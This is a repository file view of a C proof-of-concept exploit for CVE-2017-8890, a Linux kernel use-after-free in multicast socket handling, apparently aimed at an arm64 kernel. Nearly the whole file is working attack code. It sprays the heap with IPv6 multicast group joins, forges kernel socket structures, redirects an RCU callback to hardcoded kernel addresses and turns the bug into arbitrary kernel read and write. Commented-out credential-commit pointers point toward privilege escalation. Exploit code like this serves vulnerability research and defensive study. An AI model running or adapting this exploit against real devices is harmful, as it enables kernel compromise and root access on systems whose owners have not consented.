Skip to content
Snippets Groups Projects
CVE-2017-8890_PoC.c 11.6 KiB
Newer Older
  • Learn to ignore specific revisions
  • Werner Sembach's avatar
    Werner Sembach committed
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/select.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <string.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <fcntl.h>
    #include <time.h>
    #include <sys/types.h>
    #include <pthread.h>
    #include <net/if.h>
    #include <errno.h>
    #include <assert.h>
    
    
    #define HELLO_WORLD_SERVER_PORT 6666
    
    Werner Sembach's avatar
    Werner Sembach committed
    #define LENGTH_OF_LISTEN_QUEUE 1
    
    #define SPRAY_SIZE 250
    
    Werner Sembach's avatar
    Werner Sembach committed
    
    
    #define KERNEL_SOCK_IOCTL 0xffffffc00050f518;
    #define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; //alternatively 0xffffffc00050f550
    /*(gdb) disassemble /s kernel_sock_ioctl
    Dump of assembler code for function kernel_sock_ioctl:
    ./arch/arm64/include/asm/thread_info.h:
    76      static inline struct thread_info *current_thread_info(void)
    77      {
    78              return (struct thread_info *)
       0xffffffc00050f518 <+0>:     stp     x29, x30, [sp, #-32]!
       0xffffffc00050f51c <+4>:     mov     x4, #0xffffffffffffffff         // #-1
       0xffffffc00050f520 <+8>:     mov     x3, sp
       0xffffffc00050f524 <+12>:    mov     x29, sp
       0xffffffc00050f528 <+16>:    and     x3, x3, #0xffffffffffffc000
       0xffffffc00050f52c <+20>:    str     x19, [sp, #16]
       0xffffffc00050f530 <+24>:    ldr     x19, [x3, #8]
       0xffffffc00050f534 <+28>:    str     x4, [x3, #8]
    
    net/socket.c:
    3289            err = sock->ops->ioctl(sock, cmd, arg);
       0xffffffc00050f538 <+32>:    ldr     x3, [x0, #40]
       0xffffffc00050f53c <+36>:    ldr     x3, [x3, #72]
       0xffffffc00050f540 <+40>:    blr     x3
    
    ./arch/arm64/include/asm/thread_info.h:
    78              return (struct thread_info *)
       0xffffffc00050f544 <+44>:    mov     x1, sp
       0xffffffc00050f548 <+48>:    and     x1, x1, #0xffffffffffffc000
       0xffffffc00050f54c <+52>:    str     x19, [x1, #8]
    
    net/socket.c:
    3292            return err;
       0xffffffc00050f550 <+56>:    ldr     x19, [sp, #16]
       0xffffffc00050f554 <+60>:    ldp     x29, x30, [sp], #32
       0xffffffc00050f558 <+64>:    ret
    End of assembler dump.*/
    
    
    volatile int server_init = 0;
    volatile int server_finish = 0;
    volatile int client_finish = 0;
    volatile int set_fake_next_rcu_init = 0;
    volatile int set_fake_next_rcu_finish = 0;
    
    int sockfd[SPRAY_SIZE];
    char *fake_next_rcu_memory;
    
    Werner Sembach's avatar
    Werner Sembach committed
    
    
    struct callback_head {
        struct callback_head *next;
        void (*func)(struct callback_head *head);
    };
    
    struct ip_mc_socklist {
        struct ip_mc_socklist *next_rcu;
        struct ip_mreqn multi;
        unsigned int sfmode;
        struct ip_sf_socklist *sflist;
        struct callback_head rcu;
    };
    
    
    typedef enum {
        SS_FREE = 0,
        SS_UNCONNECTED,
        SS_CONNECTING,
        SS_CONNECTED,
        SS_DISCONNECTING
    } socket_state;
    
    struct socket {
        socket_state state;
        short type;
        unsigned long flags;
        struct socket_wq *wq;
        struct file *file;
        struct sock *sk;
        struct proto_ops *ops;
    };
    
    struct proto_ops {
        int family;
        void *owner;
        void *release;
        void *bind;
        void *connect;
        void *socketpair;
        void *accept;
        void *getname;
        void *poll;
        int (*ioctl)(struct socket *, unsigned int, unsigned long);
        void *compat_ioctl;
        void *listen;
        void *shutdown;
        void *setsockopt;
        void *getsockopt;
        void *compat_setsockopt;
        void *compat_getsockopt;
        void *sendmsg;
        void *recvmsg;
        void *mmap;
        void *sendpage;
        void *splice_read;
        void *set_peek_off;
    };
    
    
    volatile struct ip_mc_socklist *fake_next_rcu;
    
    
    /*int (*printk)(const char *, ...) = (int (*)(const char *, ...))0xffffffc000141abc;
    int (*commit_creds)(void *) = (int (*)(void *))0xffffffc0000d1310;
    void *(*prepare_kernel_cred)(void *) = (void *(*)(void *))0xffffffc0000d1888;
    
    
    void shellcode(void *tmp) {
    
    
        shellcode_return = 1337;
        return;
    
    
    void *set_fake_next_rcu() {
    
        //printf("[set_fake_next_rcu] shellcode address: 0x%016x\n", (uint64_t)&shellcode);
    
        printf("0x%02x 0x%02x\n", sizeof(struct socket), sizeof(struct proto_ops));
    
        fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); // that is a little bit more space then needed to be on the safe side
                                                                                                                                 // fake_next_rcu and fake_socket overlap by 16 bytes and the start
                                                                                                                                 // offset is a max of 0xff and not 0x100
    
        fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff);
    
        struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu);
        fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket));
        fake_socket->ops->ioctl = (int (*)(struct socket *, unsigned int,  long unsigned int))KERNEL_SOCK_IOCTL_RET;
    
    
        set_fake_next_rcu_init = 1;
    
        while(!server_finish) {
    
            //fake_next_rcu->rcu.func = (void (*))&shellcode;
            fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL;
    
        }
    
        free(fake_next_rcu_memory);
    
        set_fake_next_rcu_finish = 1;
    
        return NULL;
    };
    
    
    int read_at_address_pipe(void *address, void *buf, size_t len) {
        int ret = 1;
        int pipes[2];
    
        if (pipe(pipes))
            return 1;
    
        if (write(pipes[1], address, len) != len)
            goto end;
        if (read(pipes[0], buf, len) != len)
            goto end;
    
        ret = 0;
        end:
        close(pipes[1]);
        close(pipes[0]);
        return ret;
    }
    
    int write_at_address_pipe(void *address, void *buf, size_t len) {
        int ret = 1;
        int pipes[2];
    
        if (pipe(pipes))
            return 1;
    
        if (write(pipes[1], buf, len) != len)
            goto end;
        if (read(pipes[0], address, len) != len)
            goto end;
    
        ret = 0;
        end:
        close(pipes[1]);
        close(pipes[0]);
        return ret;
    }
    
    
    void heap_spray_init() {
        printf("[Spray] heap_spray_init start\n");
    
        for (int i = 0; i < SPRAY_SIZE; ++i) {
    
            sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0);
            if (sockfd[i] < 0) {
                perror("[Spray] Socket creation failed");
    
    Werner Sembach's avatar
    Werner Sembach committed
                exit(errno);
            }
        }
    
    
        printf("[Spray] heap_spray_init end\n");
        return;
    }
    
    void heap_spray_run() {
        printf("[Spray] heap_spray_run start\n");
    
        struct group_req group = {0};
        struct sockaddr_in6 *psin = (struct sockaddr_in6 *) &group.gr_group;
        psin->sin6_family = AF_INET6;
        psin->sin6_port = 1234;
        *(uint64_t *)psin->sin6_addr.s6_addr = (uint64_t)fake_next_rcu;
        printf("[Spray] Fake ipv6 address: ");
        for (int i = 0; i < 16; ++i) {
            printf("%02x", psin->sin6_addr.s6_addr[i]);
        }
        printf("\n");
        for (int i = 0; i < SPRAY_SIZE; ++i) {
            if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group, sizeof(group))) {
    
                printf("%d ", i);
                perror("[Spray] setsockopt failed");
    
    Werner Sembach's avatar
    Werner Sembach committed
                exit(errno);
            }
        }
    
    
        printf("[Spray] heap_spray_run end\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
        return;
    }
    
    
    void heap_spray_finalize() {
        printf("[Spray] heap_spray_finalize start\n");
    
        for (int i = 0; i < SPRAY_SIZE; ++i) {
            close(sockfd[i]);
    
    Werner Sembach's avatar
    Werner Sembach committed
        }
    
    
        printf("[Spray] heap_spray_finalize end\n");
        return;
    
    Werner Sembach's avatar
    Werner Sembach committed
    void *server(void *arg) {
        struct sockaddr_in server_addr;
        bzero(&server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = htons(INADDR_ANY);
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
    
        struct group_req group = {0};
        struct sockaddr_in *psin;
        psin = (struct sockaddr_in *) &group.gr_group;
        psin->sin_family = AF_INET;
        psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
    
        int server_socket = socket(PF_INET, SOCK_STREAM, 0);
        if (server_socket < 0) {
    
            printf("[Server] Create Socket Failed!");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
        if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
    
            perror("[Server] Server Socket Join Group Failed!");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
        if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
    
            printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
    
        if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
    
            printf("[Server] Server Listen Failed!");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
        struct sockaddr_in client_addr;
        socklen_t length = sizeof(client_addr);
    
        server_init = 1;
    
        printf("[Server] accept..... \n");
    
    Werner Sembach's avatar
    Werner Sembach committed
        int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
        if (new_server_socket < 0) {
            close(server_socket);
    
            printf("[Server] Server Accept Failed!\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
            return NULL;
        }
    
    
        printf("[Server] Close new_server_socket\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
        close(new_server_socket);
    
    Werner Sembach's avatar
    Werner Sembach committed
    
    
        heap_spray_run();
    
    
        printf("[Server] Close server_socket\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
        close(server_socket);
    
    Werner Sembach's avatar
    Werner Sembach committed
    
    
        //sleep(5);
    
        //printf("[Server] Shellcode return: %d\n", shellcode_return);
    
        printf("Exploit complete, let's try arbitrary write.\n");
        char tester[8] = {};
        if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) {
            perror("Turn UAF to arbitrary read/write failed");
            //while(1) {}
        }
        printf("Turn UAF to arbitrary read/write succeeded.\n");
    
    
    Werner Sembach's avatar
    Werner Sembach committed
        server_finish = 1;
        return NULL;
    }
    
    void *client(void *arg) {
        struct sockaddr_in client_addr;
        bzero(&client_addr, sizeof(client_addr));
        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = htons(INADDR_ANY);
        client_addr.sin_port = htons(0);
    
    Werner Sembach's avatar
    Werner Sembach committed
        int client_socket = socket(AF_INET, SOCK_STREAM, 0);
        if (client_socket < 0) {
    
            printf("[Client] Create socket failed!\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
    Werner Sembach's avatar
    Werner Sembach committed
        if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
    
            printf("[Client] Client bind port failed!\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
    Werner Sembach's avatar
    Werner Sembach committed
        struct sockaddr_in server_addr;
        bzero(&server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
    
            printf("[Client] Server IP Address error\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
    Werner Sembach's avatar
    Werner Sembach committed
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
        socklen_t server_addr_length = sizeof(server_addr);
        if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
    
            printf("[Client] cannot connect to 127.0.0.1!\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
            exit(EXIT_FAILURE);
        }
    
    Werner Sembach's avatar
    Werner Sembach committed
    
        while (!server_finish) {
            sleep(1);
        }
    
    
        printf("[Client] Close client_socket\n");
    
    Werner Sembach's avatar
    Werner Sembach committed
        close(client_socket);
        client_finish = 1;
    
        return NULL;
    }
    
    int main(int argc, char *argv[]) {
    
        heap_spray_init();
    
    Werner Sembach's avatar
    Werner Sembach committed
    
    
        pthread_t id_server, id_client, id_set_fake_next_rcu;
    
        pthread_create(&id_set_fake_next_rcu, NULL, set_fake_next_rcu, NULL);
        while (!set_fake_next_rcu_init) {
            sleep(1);
        }
    
    Werner Sembach's avatar
    Werner Sembach committed
    
    
    Werner Sembach's avatar
    Werner Sembach committed
        pthread_create(&id_server, NULL, server, NULL);
        while (!server_init) {
            sleep(1);
        }
    
    Werner Sembach's avatar
    Werner Sembach committed
        pthread_create(&id_client, NULL, client, NULL);
    
        while (!server_finish || !client_finish || !set_fake_next_rcu_finish) {
    
    Werner Sembach's avatar
    Werner Sembach committed
            sleep(1);
        }
    
        printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n");
    
        heap_spray_finalize();
    
    Werner Sembach's avatar
    Werner Sembach committed
        return EXIT_SUCCESS;
    }